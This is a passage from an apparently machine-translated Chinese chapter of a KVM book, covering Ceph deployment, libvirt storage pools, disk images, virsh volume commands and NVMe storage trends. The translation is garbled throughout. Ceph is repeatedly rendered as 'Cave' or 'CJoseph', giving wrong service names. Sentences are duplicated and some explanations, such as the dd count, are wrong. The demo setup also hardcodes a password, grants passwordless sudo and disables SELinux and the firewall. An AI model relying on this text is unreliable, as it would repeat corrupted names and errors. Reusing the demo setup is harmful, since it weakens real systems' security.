中,它由一个集群映射(一个压缩映射)进行管理。 我们可以通过添加更多节点来轻松地向外扩展 Cave,这将以最小的方式重新分发数据,以确保尽可能少的复制量。** - -名为**可靠自主分布式对象存储**(**RADOS**)的内部 Cave 组件用于快照、复制和精简配置。 这是一个由加州大学开发的开源项目。 - -就架构而言,Ceph 有三项主要服务: - -* **Cephmon**:用于集群监视、粉碎映射和**对象存储守护进程**(**OSD**)映射。 -* **CJoseph-osd**:这个处理实际的数据存储、复制和恢复。 它至少需要两个节点;出于集群原因,我们将使用三个节点。 -* **CJoseph-mds**:元数据服务器,在 Cave 需要文件系统访问时使用。 - -根据最佳实践,请确保您在设计 Cave 环境时始终牢记关键原则-所有数据节点都需要具有相同的配置。 这意味着相同的内存量、相同的存储控制器(不要使用 RAID 控制器,如果可能的话,只使用没有 RAID 固件的普通 HBA)、相同的磁盘,等等。 这是在您的环境中确保恒定级别的 Cave 性能的唯一方法。 - -CJoseph 的一个非常重要的方面是数据放置以及放置组是如何工作的。 放置组为我们提供了一个机会来拆分我们创建的对象,并以最佳方式将它们放置在 OSD 中。 换言之,我们配置的配置组数量越多,我们将获得更好的平衡。 - -那么,让我们从头开始配置 Ceph.。 我们将再次遵循最佳实践,使用五台服务器部署 Cave-一台用于管理,一台用于监控,三台 OSD。 - -我们的配置如下所示: - -![Figure 5.24 – Basic Ceph configuration for our infrastructure ](img/B14834_05_24.jpg) - -图 5.24-我们基础架构的基本 CJoseph 配置 - -确保这些主机可以通过 DNS 或`/etc/hosts`相互解析,并且您将它们全部配置为使用相同的 NTP 源。 确保使用以下命令更新所有主机: - -```sh -yum -y update; reboot -``` - -此外,请确保您以*root*用户身份在所有主机中键入以下命令。 让我们首先部署包,创建管理员用户,并授予他们访问`sudo`的权限: - -```sh -rpm -Uhv http://download.ceph.com/rpm-jewel/el7/noarch/ceph-release-1-1.el7.noarch.rpm -yum -y install ceph-deploy ceph ceph-radosgw -useradd cephadmin -echo "cephadmin:ceph123" | chpasswd -echo "cephadmin ALL = (root) NOPASSWD:ALL" | sudo tee /etc/sudoers.d/cephadmin -chmod 0440 /etc/sudoers.d/cephadmin -``` - -禁用 SELinux 将使我们在此演示中的工作变得更轻松,就像清除防火墙一样: - -```sh -sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/selinux/config -systemctl stop firewalld -systemctl disable firewalld -systemctl mask firewalld -``` - -让我们将主机名添加到`/etc/hosts`,以便用户更轻松地进行管理: - -```sh -echo "192.168.159.150 ceph-admin" >> /etc/hosts -echo "192.168.159.151 ceph-monitor" >> /etc/hosts -echo "192.168.159.152 ceph-osd1" >> /etc/hosts -echo "192.168.159.153 ceph-osd2" >> /etc/hosts -echo "192.168.159.154 ceph-osd3" >> /etc/hosts -``` - -将最后的`echo`部分更改为适合您的环境的部分-主机名和 IP 地址。 我们只是把它作为我们环境中的一个例子。 下一步是确保我们可以使用管理主机连接到所有主机。 要做到这一点,最简单的方法是使用 SSH 密钥。 因此,在`ceph-admin`上,以 root 身份登录并键入`ssh-keygen`命令,然后一直按*Enter*键。 它应该看起来像这样: - -![Figure 5.25 – Generating an SSH key for root for Ceph setup purposes ](img/B14834_05_25.jpg) - -图 5.25-为根用户生成 SSH 密钥以用于 CJoseph 设置 - -我们还需要将此密钥复制到所有主机。 因此,再次在`ceph-admin`上使用`ssh-copy-id`将密钥复制到所有主机: - -```sh -ssh-copy-id cephadmin@ceph-admin -ssh-copy-id cephadmin@ceph-monitor -ssh-copy-id cephadmin@ceph-osd1 -ssh-copy-id cephadmin@ceph-osd2 -ssh-copy-id cephadmin@ceph-osd3 -``` - -当 SSH 询问您时,接受所有密钥,并使用`ceph123`作为密码,这是我们在前面的一个步骤中选择的。 在完成所有这些工作之后,在开始部署 CJoseph 之前,我们还需要在`ceph-admin`上执行最后一步-我们必须配置 SSH,以使用`cephadmin`用户作为默认用户登录到所有主机。 为此,我们将在`ceph-admin`上以 root 身份转到`.ssh`目录,并创建一个名为`config`的文件,其中包含以下内容: - -```sh -Host ceph-admin - Hostname ceph-admin - User cephadmin -Host ceph-monitor - Hostname ceph-monitor - User cephadmin -Host ceph-osd1 - Hostname ceph-osd1 - User cephadmin -Host ceph-osd2 - Hostname ceph-osd2 - User cephadmin -Host ceph-osd3 - Hostname ceph-osd3 - User cephadmin -``` - -这是一个很长的预配置,不是吗? 现在是实际开始部署 Cave 的时候了。 第一步是配置`ceph-monitor`。 因此,在`ceph-admin`上键入以下命令: - -```sh -cd /root -mkdir cluster -cd cluster -ceph-deploy new ceph-monitor -``` - -由于我们选择了具有三个 OSD 的配置,因此需要配置 CJoseph,使其使用这两台额外的主机。 因此,在`cluster`目录中,编辑名为`ceph.conf`的文件,并在末尾添加以下两行: - -```sh -public network = 192.168.159.0/24 -osd pool default size = 2 -``` - -这将确保我们只能将我们的示例网络(`192.168.159.0/24`)用于 CJoseph,并且我们在原来的 OSD 之上有两个额外的 OSD。 - -现在一切都准备好了,我们必须发出一系列命令来配置 CJoseph。 因此,再次在`ceph-admin`上键入以下命令: - -```sh -ceph-deploy install ceph-admin ceph-monitor ceph-osd1 ceph-osd2 ceph-osd3 -ceph-deploy mon create-initial -ceph-deploy gatherkeys ceph-monitor -ceph-deploy disk list ceph-osd1 ceph-osd2 ceph-osd3 -ceph-deploy disk zap ceph-osd1:/dev/sdb ceph-osd2:/dev/sdb ceph-osd3:/dev/sdb -ceph-deploy osd prepare ceph-osd1:/dev/sdb ceph-osd2:/dev/sdb ceph-osd3:/dev/sdb -ceph-deploy osd activate ceph-osd1:/dev/sdb1 ceph-osd2:/dev/sdb1 ceph-osd3:/dev/sdb1 -``` - -让我们逐个描述这些命令: - -* 第一个命令启动实际的部署过程-对于 admin、monitor 和 OSD 节点,并安装所有必要的软件包。 -* 第二个和第三个命令配置监视主机,使其准备好接受外部连接。 -* 这两个磁盘命令都是关于磁盘准备的-CJoseph 将清除我们分配给它的磁盘(每个 OSD 主机`/dev/sdb`),并在这些磁盘上创建两个分区,一个用于 CJoseph 数据,另一个用于 CJoseph 日志。 -* 最后两个命令准备好这些文件系统以供使用,并激活 CJoseph。 如果您的`ceph-deploy`脚本在任何时候停止,请检查您的 DNS 以及`/etc/hosts`和`firewalld`配置,因为这通常是问题所在。 - -我们需要向我们的 KVM 主机公开 Cave,这意味着我们必须进行一些额外的配置。 我们将把 CJoseph 作为对象池公开给我们的 KVM 主机,因此我们需要创建一个池。 让我们称它为`KVMpool`。 连接到`ceph-admin`,并发出以下命令: - -```sh -ceph osd pool create KVMpool 128 128 -``` - -该命令将创建一个名为`KVMpool`的池,包含 128 个放置组。 - -下一步涉及到从安全的角度处理 Ceph.。 我们不想让任何人连接到这个池,所以我们将创建一个密钥,用于对 CJoseph 进行身份验证,我们将在 KVM 主机上使用该密钥进行身份验证。 我们通过键入以下命令来执行此操作: - -```sh -ceph auth get-or-create client.KVMpool mon 'allow r' osd 'allow rwx pool=KVMpool' -``` - -它将向我们抛出一条状态消息,大概是这样的: - -```sh -key = AQB9p8RdqS09CBAA1DHsiZJbehb7ZBffhfmFJQ== -``` - -然后我们可以切换到 KVM 主机,在那里我们需要做两件事: - -* 定义一个秘密-一个将 libvirt 链接到 Ceph 用户的对象-通过这样做,我们将创建一个具有**通用唯一标识符**(**UUID**)的秘密对象。 -* 当我们定义 Cave 存储池时,使用该秘密的 UUID 将其链接到 Cave 密钥。 - -完成这两个步骤的最简单方法是使用 libvirt 的两个 XML 配置文件。 那么,让我们创建这两个文件。 让我们将第一个命名为`secret.xml`,其内容如下: - -```sh - - - client.KVMpool secret - - -``` - -确保通过键入以下命令保存并导入此 XML 文件: - -```sh -virsh secret-define --file secret.xml -``` - -在您按下*Enter*键之后,此命令将抛出一个 UUID。 请将该 UUID 复制并粘贴到安全的地方,因为我们将在池 XML 文件中使用它。 在我们的环境中,第一个`virsh`命令抛出以下输出: - -```sh -Secret 95b1ed29-16aa-4e95-9917-c2cd4f3b2791 created -``` - -我们需要为该秘密赋值,以便当 libvirt 尝试使用该秘密时,它知道要使用哪个*密码*。 这实际上是我们在 Cave 级别上创建的密码,当我们使用`ceph auth get-create`时,它给了我们密钥。 因此,既然我们已经拥有了秘密 UUID 和 CJoseph 密钥,我们就可以将它们组合起来创建一个完整的身份验证对象。 在 KVM 主机上,我们需要键入以下命令: - -```sh -virsh secret-set-value 95b1ed29-16aa-4e95-9917-c2cd4f3b2791 AQB9p8RdqS09CBAA1DHsiZJbehb7ZBffhfmFJQ== -``` - -现在,我们可以创建 Ceph 池文件了。 让我们将配置文件命名为`ceph.xml`,其内容如下: - -```sh - - - KVMpool - - - - - - -``` - -因此,此文件中使用了上一步中的 UUID 来引用哪个秘密(标识)将用于 Cep 池访问。 现在,如果我们想永久使用池(在 KVM 主机重新启动之后),我们需要执行标准过程-导入池,启动它,然后自动启动它。 因此,让我们在 KVM 主机上使用以下命令序列来执行此操作: - -```sh -virsh pool-define --file ceph.xml -virsh pool-start KVMpool -virsh pool-autostart KVMpool -virsh pool-list --details -``` - -最后一个命令应该会产生类似以下内容的输出: - -![Figure 5.26 – Checking the state of our pools; the Ceph pool is configured and ready to be used ](img/B14834_05_26.jpg) - -图 5.26-检查池的状态;Cave 池已配置好,可以使用了 - -既然我们的 KVM 主机可以使用 CJoseph 对象池,我们就可以在上面安装一个虚拟机了。 我们将在[*第 7 章*](07.html#_idTextAnchor125),*虚拟机-安装、配置和生命周期管理*中再次讨论这一点。 - -# 虚拟磁盘映像和格式以及基本 KVM 存储操作 - -磁盘映像是存储在主机文件系统上的标准文件。 它们很大,充当访客的虚拟化硬盘。 您可以使用`dd`命令创建这样的文件,如图所示: - -```sh -# dd if=/dev/zero of=/vms/dbvm_disk2.img bs=1G count=10 -``` - -下面是这个命令的翻译: - -使用 1G 大小的块(`bs`=块大小)将数据(`dd`)从`/dev/zero`的输入文件(`if`)(几乎无限的零供应)复制到`/vms/dbvm_disk2.img`(磁盘映像)的输出文件(`of`),并仅重复此(`count`)一次(`10`)。 - -重要提示: - -`dd`被认为是一个需要大量资源的命令。 它可能会导致主机系统上出现 I/O 问题,因此最好先检查主机系统的可用空闲内存和 I/O 状态,然后再运行它。 如果系统已经加载,请将块大小降低到 MB,然后增加计数以匹配所需的文件大小(使用`bs=1M`、`count=10000`而不是`bs=1G`、`count=10`)。 - -`/vms/dbvm_disk2.img`是前面命令的结果。 该映像现在已经预先分配了 10 GB,可以作为引导盘或第二个磁盘与访客一起使用。 同样,您也可以创建精简配置的磁盘映像。 预分配和精简资源调配(稀疏)是磁盘分配方法,您也可以将其称为以下格式: - -* **预分配**:预分配的虚拟磁盘在创建时立即分配空间。 这通常意味着写入速度比精简配置的虚拟磁盘更快。 -* **精简配置**:在此方法中,将根据需要为卷分配空间-例如,如果您创建了一个稀疏分配的 10 GB 虚拟磁盘(磁盘映像)。 最初,它只会从您的存储中占用几 MB 空间,并在接收到来自虚拟机的写操作时增长到 10 GB 大小。 这允许存储过量使用,这意味着*从存储角度伪造*可用容量。 此外,当存储空间被填满时,这可能会在以后导致问题。 要创建精简配置的磁盘,请将`seek`选项与`dd`命令配合使用,如以下命令所示: - - ```sh - dd if=/dev/zero of=/vms/dbvm_disk2_seek.imgbs=1G seek=10 count=0 - ``` - -每种方式都有自己的优点和缺点。 如果您正在寻找 I/O 性能,请选择预分配格式,但如果您有非 IO 密集型负载,请选择精简资源调配。 - -现在,您可能想知道如何识别某个虚拟磁盘使用的磁盘分配方法。 有一个很好的实用程序可以找出这一点:`qemu-img`。 此命令允许您读取虚拟映像的元数据。 还支持新建磁盘和进行低级格式转换。 - -## 获取图像信息 - -`qemu-img`命令的`info`参数显示有关磁盘映像的信息,包括映像的绝对路径、文件格式以及虚拟和磁盘大小。 通过从 QEMU 的角度查看虚拟磁盘大小,并将其与磁盘上的映像文件大小进行比较,您可以很容易地确定正在使用的磁盘分配策略。 作为示例,让我们看一下我们创建的两个磁盘映像: - -```sh -# qemu-img info /vms/dbvm_disk2.img -image: /vms/dbvm_disk2.img -file format: raw -virtual size: 10G (10737418240 bytes) -disk size: 10G -# qemu-img info /vms/dbvm_disk2_seek.img -image: /vms/dbvm_disk2_seek.img -file format: raw -virtual size: 10G (10737418240 bytes) -disk size: 10M -``` - -请参阅两个磁盘的`disk size`行。 它显示`/vms/dbvm_disk2.img`的`10G`,而对于`/vms/dbvm_disk2_seek.img`,它显示的是`10M`MiB。 这是因为第二个磁盘使用精简资源调配格式。 虚拟大小是访客看到的,磁盘大小是磁盘在主机上保留的空间。 如果两个大小相同,则表示磁盘已预分配。 不同意味着磁盘使用精简资源调配格式。 现在,让我们将磁盘映像附加到虚拟机;您可以使用`virt-manager`或 CLI 替代方案`virsh`附加它。 - -## 使用 virt-manager 连接磁盘 - -从主机系统的图形桌面环境启动 virt-manager。 还可以使用 SSH 远程启动 IT,如以下命令所示: - -```sh -ssh -X host's address -[remotehost]# virt-manager -``` - -因此,让我们使用 Virtual Machine Manager 将磁盘连接到虚拟机: - -1. 在 Virtual Machine Manager 主窗口中,选择要添加辅助磁盘的虚拟机。 -2. 转到虚拟硬件详细信息窗口,单击对话框左下角的**Add Hardware**按钮。 -3. In **Add New Virtual Hardware**, select **Storage** and select the **Create a disk image for the virtual machine** button and virtual disk size, as in the following screenshot: - - ![Figure 5.27 – Adding a virtual disk in virt-manager ](img/B14834_05_27.jpg) - - 图 5.27-在 virt-manager 中添加虚拟磁盘 - -4. If you want to attach the previously created `dbvm_disk2.img` image, choose **Select** or create custom storage, click on **Manage**, and either browse and point to the `dbvm_disk2.img` file from the `/vms` directory or find it in the local storage pool, then select it and click **Finish**. - - 重要提示: - - 在这里,我们使用了磁盘映像,但您可以自由使用主机系统上存在的任何存储设备,例如 LUN、整个物理磁盘(`/dev/sdb`)或磁盘分区(`/dev/sdb1`)或 LVM 逻辑卷。 我们可以使用之前配置的任何存储池将此映像存储为文件或对象,或者直接存储到数据块设备。 - -5. 单击**Finish**按钮将选择的磁盘映像(文件)作为第二个磁盘附加到使用默认配置的虚拟机。 使用`virsh`命令可以快速执行相同的操作。 - -使用 virt-manager 创建虚拟磁盘非常简单-只需点击几下鼠标和一些输入即可。 现在,让我们看看如何通过命令行-即通过使用`virsh`-来实现这一点。 - -## 使用 virsh 连接磁盘 - -`virsh`是一个非常强大的命令行替代工具,可以替代 virt-manager。 您可以通过一个图形界面(如 virt-manager)在一秒钟内执行一个需要几分钟才能执行的操作。 它提供了一个`attach-disk`选项来将新的磁盘设备连接到虚拟机。 `attach-disk`提供了许多开关: - -```sh -attach-disk domain source target [[[--live] [--config] | [--current]] | [--persistent]] [--targetbusbus] [--driver driver] [--subdriversubdriver] [--iothreadiothread] [--cache cache] [--type type] [--mode mode] [--sourcetypesourcetype] [--serial serial] [--wwnwwn] [--rawio] [--address address] [--multifunction] [--print-xml] -``` - -然而,在正常情况下,以下条件足以执行热添加磁盘连接到虚拟机: - -```sh -# virsh attach-disk CentOS8 /vms/dbvm_disk2.img vdb --live --config -``` - -这里,`CentOS8`是执行磁盘附加的虚拟机。 然后是磁盘映像的路径。 `vdb`是在访客操作系统内可见的目标磁盘名称。 `--live`表示在虚拟机运行时执行该操作,`--config`表示在重启后永久附加该操作。 NOT 添加`--config`开关将使磁盘保持连接,直到重新启动。 - -重要提示: - -热插拔支持:应该在 Linux 访客操作系统中加载`acpiphp`内核模块,以便识别热添加的磁盘;`acpiphp`提供传统热插拔支持,而`pciehp`提供本机热插拔支持。 `pciehp`取决于`acpiphp`。 加载`acpiphp`将自动加载`pciehp`作为依赖项。 - -您可以使用`virsh domblklist `命令快速确定一个虚拟机连接了多少个 vDisk。 下面是一个例子: - -```sh -# virsh domblklist CentOS8 --details -Type Device Target Source ------------------------------------------------- -file disk vda /var/lib/libviimg/fedora21.qcow2 -file disk vdb /vms/dbvm_disk2_seek.img -``` - -这清楚地表明,连接到虚拟机的两个 vDisk 都是文件镜像。 它们对访客操作系统分别显示为`vda`和`vdb`,并且位于主机系统上磁盘映像路径的最后一列。 - -接下来,我们将了解如何创建 ISO 库。 - -## 创建 ISO 映像库 - -虽然虚拟机上的访客操作系统可以通过执行主机的 CD/DVD 驱动器到虚拟机的传递从物理介质安装,但这不是最有效的方法。 与从硬盘读取 ISO 相比,从 DVD 驱动器读取较慢,因此更好的方法是将用于安装虚拟机操作系统和应用的 ISO 文件(或逻辑 CD)存储在基于文件的存储池中,并创建 ISO 映像库。 - -要创建 ISO 映像库,可以使用 virt-manager 或`virsh`命令。 让我们看看如何使用`virsh`命令创建 ISO 映像库: - -1. 首先,在主机系统上创建一个目录来存储`.iso`镜像: - - ```sh - # mkdir /iso - ``` - -2. 设置正确的权限。 它应该属于权限设置为`700`的 root 用户。 如果 SELinux 处于强制模式,则需要设置以下上下文: - - ```sh - # chmod 700 /iso - # semanage fcontext -a -t virt_image_t "/iso(/.*)?" - ``` - -3. Define the ISO image library using the `virsh` command, as shown in the following code block: - - ```sh - # virsh pool-define-as iso_library dir - - - - "/iso" - # virsh pool-build iso_library - # virsh pool-start iso_library - ``` - - 在前面的示例中,我们使用名称`iso_library`来演示如何创建包含 ISO 映像的存储池,但您可以随意使用任何名称。 - -4. 验证池(ISO 映像库)是否已创建: - - ```sh - # virsh pool-info iso_library - Name: iso_library - UUID: 959309c8-846d-41dd-80db-7a6e204f320e - State: running - Persistent: yes - Autostart: no - Capacity: 49.09 GiB - Allocation: 8.45 GiB - Available: 40.64 GiB - ``` - -5. 现在,您可以将`.iso`图像复制或移动到`/iso_lib`目录。 -6. 将`.iso`文件复制到`/iso_lib`目录后,刷新池,然后检查其内容: - - ```sh - # virsh pool-refresh iso_library - Pool iso_library refreshed - # virsh vol-list iso_library - Name Path - ------------------------------------------------------------------ - ------------ - CentOS8-Everything.iso /iso/CentOS8-Everything.iso - CentOS7-EVerything.iso /iso/CentOS7-Everything.iso - RHEL8.iso /iso/RHEL8.iso - Win8.iso /iso/Win8.iso - ``` - -7. 这将列出目录中存储的所有 ISO 映像及其路径。 这些 ISO 映像现在可以直接与虚拟机一起用于访客操作系统安装、软件安装或升级。 - -创建 ISO 映像库是当今企业事实上的规范。 最好有一个集中存放所有 ISO 镜像的地方,如果您需要跨不同位置进行同步,这样可以更容易地实现某种同步方法(例如,`rsync`)。 - -## 删除存储池 - -删除存储池相当容易。 请注意,删除存储域不会删除任何文件/数据块设备。 它只是将存储与 virt-manager 断开。 必须手动删除文件/数据块设备。 - -我们可以通过 virt-manager 或使用`virsh`命令删除存储池。 让我们首先看看如何通过 virt-manager 来实现: - -![Figure 5.28 – Deleting a pool ](img/B14834_05_28.jpg) - -图 5.28-删除池 - -首先,选择红色停止按钮以停止池,然后单击带有**X**的红色圆圈以删除池。 - -如果你想使用`virsh`,那就更简单了。 假设我们想要删除前一个屏幕截图中名为`MyNFSpool`的存储池。 只需键入以下命令: - -```sh -virsh pool-destroy MyNFSpool -virsh pool-undefine MyNFSpool -``` - -创建存储池后的下一个逻辑步骤是创建存储卷。 从逻辑角度来看,存储卷将存储池分割为更小的部分。 现在让我们来学习如何做到这一点。 - -## 创建存储卷 - -存储卷创建于存储池之上,并作为虚拟磁盘连接到虚拟机。 要创建存储卷,请启动存储管理控制台,导航到 virt-manager,然后单击**编辑**|**连接详细信息**|**存储**并选择要在其中创建新卷的存储池。 单击创建新卷按钮(**+**): - -![Figure 5.29 – Creating a storage volume for the virtual machine ](img/B14834_05_29.jpg) - -图 5.29-为虚拟机创建存储卷 - -接下来,提供新卷的名称,为其选择磁盘分配格式,然后单击**Finish**按钮以构建该卷,并准备将其附加到虚拟机。 您可以使用常用的 virt-manager 或`virsh`命令附加它。 Libvirt 支持几种磁盘格式(`raw`、`cow`、`qcow`、`qcow2`、`qed`和`vmdk`)。 使用适合您环境的磁盘格式,并在`Max Capacity`和`Allocation`字段中设置适当的大小,以决定是使用预分配的磁盘分配,还是使用精简配置。 如果您在**最大容量**和**分配**中保持相同的磁盘大小,它将被预分配,而不是精简配置。 请注意,`qcow2`格式不支持厚盘分配方法。 - -在[*第 8 章*](08.html#_idTextAnchor143),*创建和修改 VM 磁盘、模板和快照*中,详细说明了所有磁盘格式。 现在,只需了解`qcow2`是专门为 KVM 虚拟化设计的磁盘格式。 它支持创建内部快照所需的高级功能。 - -## 使用 virsh 命令创建卷 - -使用`virsh`命令创建卷的语法如下: - -```sh -# virsh vol-create-as dedicated_storage vm_vol1 10G -``` - -其中,`dedicated_storage`是存储池,`vm_vol1`是卷名,10 GB 是大小: - -```sh -# virsh vol-info --pool dedicated_storage vm_vol1 -Name: vm_vol1 -Type: file -Capacity: 1.00 GiB -Allocation: 1.00 GiB -``` - -创建存储卷的`virsh`命令和参数几乎是相同的,无论它是在哪种类型的存储池上创建的。 只需为`--pool`开关输入相应的输入即可。 现在,让我们看看如何使用`virsh`命令删除卷。 - -## 使用 virsh 命令删除卷 - -使用`virsh`命令删除卷的语法为,如下所示: - -```sh -# virsh vol-delete dedicated_storage vm_vol2 -``` - -执行此命令将从`dedicated_storage`存储池中删除`vm_vol2`卷。 - -我们存储之旅的下一步是展望未来,因为我们在本章中提到的所有概念多年来都是众所周知的,有些甚至已经有几十年了。 存储世界正在发生变化,并朝着新的有趣的方向发展,所以接下来让我们来讨论一下这一点。 - -# 存储领域的最新发展-NVMe 和 NVMeOF - -在过去 20 年左右的时间里,到为止,存储界在技术方面最大的颠覆是推出了**固态硬盘**(**固态硬盘**)。 现在,我们知道很多人已经习惯了在他们的电脑上安装它们--笔记本电脑、工作站,无论我们使用哪种类型的设备。 但同样,我们讨论的是虚拟化存储以及整个企业存储概念,这意味着我们常规的 SATA 固态硬盘无法入围。 尽管很多人在托管 ZFS 池(用于缓存)的中端存储设备和/或手工存储设备中使用它们,但其中一些概念在最新一代的存储设备中有其自身的生命力。 这些设备正在从根本上改变技术的工作方式,并在使用哪些协议、协议的速度有多快、延迟降低了多少以及如何实现存储分层方面重塑了现代 IT 历史的一部分-分层是一个根据功能(通常是速度)区分不同存储设备或其存储池的概念。 - -让我们以存储世界的发展方向为例,简要解释一下我们在这里讨论的内容。 除此之外,存储领域还在乘着虚拟化、云和 HPC 领域的风口浪尖前行,因此这些概念并不奇怪。 它们已经存在于你今天可以买到的现成的存储设备中。 - -固态硬盘的引入极大地改变了我们访问存储设备的方式。 这一切都与性能和延迟有关,而像**高级主机控制器接口**(**AHCI**)这样的旧概念(我们现在市场上的许多 SSD 仍在积极使用),并不足以处理 SSD 所具有的性能。(**Advanced Host Controller Interface**(**AHCI**),我们今天仍在市场上的许多 SSD 上积极使用这些概念)。 AHCI 是普通硬盘(机械磁盘或普通磁盘轴)通过软件与 SATA 设备通信的标准方式。 然而,其中的关键部分是*硬盘*,这意味着柱面、磁头扇区-SSD 没有的东西,因为它们不旋转,也不需要这种范例。 这意味着必须创建另一个标准,这样我们才能以更本地的方式使用固态硬盘。 这就是**Non-Volatile Memory Express**(**NVMe**)要做的事情--在不使用从 SATA 到 AHCI 再到 PCI Express 的转换的情况下,弥合固态硬盘的能力和实际能力之间的差距(以此类推),这就是**Non-Volatile Memory Express**(**NVMe**)的全部目的。 - -固态硬盘的快速发展和 NVMe 的集成使企业存储的巨大进步成为可能。 这意味着必须发明新的控制器、新的软件和全新的架构来支持这种范式转变。 随着越来越多的存储设备将 NVMe 集成到各种目的(主要用于缓存,然后也用于存储容量),显然还有其他问题需要解决。 第一个是我们连接存储设备的方式,这些存储设备可以为我们的虚拟化、云或 HPC 环境提供如此巨大的容量。 - -在过去 10 年左右的时间里,许多人认为 FC 将从市场上消失,许多公司对不同的标准进行了对冲-iSCSI、iSCSI over RDMA、NFS over RDMA 等等。 这背后的理由似乎足够确凿: - -* FC 非常昂贵-它需要单独的物理交换机、单独的布线和单独的控制器,所有这些都需要大量资金。 -* 这涉及许可-例如,当您购买具有 40 个 FC 端口的 Brocade 交换机时,这并不意味着您可以开箱即用,因为有许可证可以获得更多端口(8 端口、16 端口等等)。 -* FC 存储设备价格昂贵,通常需要更昂贵的磁盘(带 FC 连接器)。 -* 配置 FC 需要广博的知识和/或培训,因为在不了解概念和交换机供应商提供的 CLI 的情况下,您不能简单地为企业级公司配置 FC 交换机堆栈,此外,您还不知道该企业的需求是什么。 -* FC 作为一种协议,其加速开发以达到新速度的能力一直很差。 简而言之,在 FC 从 8 Gbit/s 发展到 32 Gbit/s 的过程中,以太网从 1 Gbit/s 发展到了 25、40、50 和 100 Gbit/s 的带宽。 已经有关于 400Gbit/s 以太网的讨论,也有首批支持该标准的设备。 这通常会让客户感到担忧,因为更高的数字意味着更好的吞吐量,至少在大多数人的心目中是这样。 - -但现在市场上正在发生的事情*告诉我们一个完全不同的故事--不仅是 FC 回来了,而且它带着使命回来了。 企业存储公司已经接受了这一点,并开始推出*级*级的存储设备(作为第一阶段,在 NVMe 固态硬盘的帮助下)。 这种性能需要转移到我们的虚拟化、云和 HPC 环境中,这就需要在最低延迟、设计以及质量和可靠性方面尽可能好的协议,而 FC 具备所有这些条件。* - - *这导致了第二阶段,在这个阶段,NVMe 固态硬盘不仅被用作缓存设备,而且还被用作容量设备。 - -请注意,现在,存储内存/存储互连市场上正在酝酿一场大战。 有多种不同的标准试图与英特尔的英特尔**快速路径互连**(**QPI**)竞争,这是一项在英特尔 CPU 中使用了十多年的技术。 如果这是一个您感兴趣的主题,在本章末尾的*进一步阅读*部分有一个链接,您可以在那里找到更多信息。 从本质上讲,QPI 是一种低延迟、高带宽的点对点互连技术,是当今服务器的核心。 具体地说,它处理 CPU、CPU 和内存、CPU 和芯片组之间的通信,等等。 这是英特尔在摆脱**前端总线**(**FSB**)和集成芯片组的内存控制器后开发的一项技术。 FSB 是在内存和 I/O 请求之间共享的总线。 这种方法有更高的延迟,没有很好的伸缩性,带宽更低,并且在内存和 I/O 端发生大量 I/O 的情况下会出现问题。 在切换到内存控制器是 CPU 的一部分(因此,内存直接连接到 CPU)的体系结构之后,英特尔最终必须转向这种概念。 - -如果您更熟悉 AMD CPU,那么 QPI 之于 Intel 就像内置内存控制器的 CPU 上的 HyperTransport 总线之于 AMD CPU。 - -随着 NVMe 固态硬盘变得更快,PCI Express 标准也需要更新,这就是为什么人们如此期待最新版本(PCIe 4.0-最近开始发货的第一批产品)的原因。 但现在,焦点已经转移到另外两个需要解决的问题上,存储系统才能正常工作。 让我们简要描述一下它们: - -* 第一个问题很简单。 对于普通计算机用户,在 99%或更多的情况下,一个或两个 NVMe 固态硬盘就足够了。 实际上,普通计算机用户需要更快的 PCIe 总线的唯一真正原因是为了更快的显卡。 但对于存储设备制造商来说,这是完全不同的。 他们希望生产在单个存储系统中拥有 20 个、30 个、50 个、100 个、500 个 NVMe 固态硬盘的企业级存储设备-他们现在就想要,因为固态硬盘作为一种技术已经成熟,并且可以广泛使用。 -* 第二个问题更为复杂。 雪上加霜的是,最新一代的固态硬盘(例如,基于英特尔 Optane 的固态硬盘)可以提供更低的延迟和更高的吞吐量。 随着技术的发展,这种情况只会变得更糟*(甚至更低的延迟,更高的吞吐量)。 对于当今的服务--虚拟化、云和 HPC--存储系统必须能够处理我们能处理的任何负载。 只有在互连能够处理存储设备(QPI、FC 等)的情况下,这些技术才能真正改变游戏规则,因为存储设备可以变得更快。 其中两个源自英特尔 Optane 的概念-**存储类内存**(**SCM**)和**永久内存**(**PM**)是存储公司和客户希望在其存储系统中采用的最新技术,而且速度更快。* -** 第三个问题是如何将所有带宽和 I/O 功能传输到使用它们的服务器和基础设施。 这就是创建**NVMe over Fabric**(**NVMe-of**)概念的原因,目的是尝试在存储基础架构堆栈上工作,使 NVMe 对其消费者来说更高效、更快。* - - *如果你从概念的角度来看这些进步,几十年来很明显,类似 RAM 的存储器是我们在过去几十年中拥有的最快、延迟最低的技术。 我们将工作负载尽可能多地转移到 RAM 也是合乎逻辑的。 请考虑内存中的数据库(如 Microsoft SQL、SAP HANA 和 Oracle)。 他们已经在这个街区转悠了好几年了。 - -这些技术从根本上改变了我们对存储的看法。 基本上,我们不再讨论基于技术的存储分层(SSD 与 SAS 或 SATA),也不再讨论完全的速度,因为速度是毋庸置疑的。 最新的存储技术讨论了*延迟*方面的存储分层。 原因非常简单-假设您是一家存储公司,并且您构建了一个使用 50 个 SCM 固态硬盘来存储容量的存储系统。 对于高速缓存,唯一合理的技术是 RAM,几百千兆字节。 在这样的设备上使用存储分层的唯一方法是,基本上通过*在软件中模拟*存储分层,通过创建额外的技术来产生类似分层的服务,这些服务基于排队、处理缓存中的优先级(RAM)以及类似的概念。 为什么? 因为如果您使用相同的 SCM 固态硬盘作为容量,并且它们提供相同的速度和 I/O,那么您就没有一种基于技术或功能的分层方式。 - -让我们使用可用的存储系统来进一步说明这一点。 最能说明我们观点的设备是 Dell/EMC 的 PowerMax 系列存储设备。 如果您加载 NVMe 和 SCM 固态硬盘,最大的型号(8000)可以扩展到 1500 万 IOPS(!)、350 GB/s 的吞吐量(延迟低于 100 微秒)和高达 4 PB 的容量。 想一想这些数字。 然后添加另一个数字-在前端,它最多可以有 256 个 FC/FICON/iSCSI 端口。 就在最近,Dell/EMC 为其发布了新的 32 Gbit/s FC 模块。 较小的 PowerMax 型号(2000)可以处理 750 万 IOPS,延迟小于 100 微秒,并可扩展到 1 PB。 它还可以执行所有*常见的 EMC 功能*-复制、压缩、重复数据删除、快照、NAS 功能等等。 因此,这不仅仅是市场营销的话题;这些设备已经面世,正在被企业客户使用: - -![Figure 3.30 – PowerMax 2000 – it seems small, but it packs a lot of punch ](img/B14834_05_30.jpg) - -图 3.30-PowerMax 2000-它看起来很小,但却很有力 - -这些都是未来非常重要的概念,因为越来越多的制造商生产类似的设备(而且他们正在进行中)。 我们完全期待基于 KVM 的世界在大规模环境中接受这些概念,特别是对于使用 OpenStack 和 OpenShift 的基础架构。 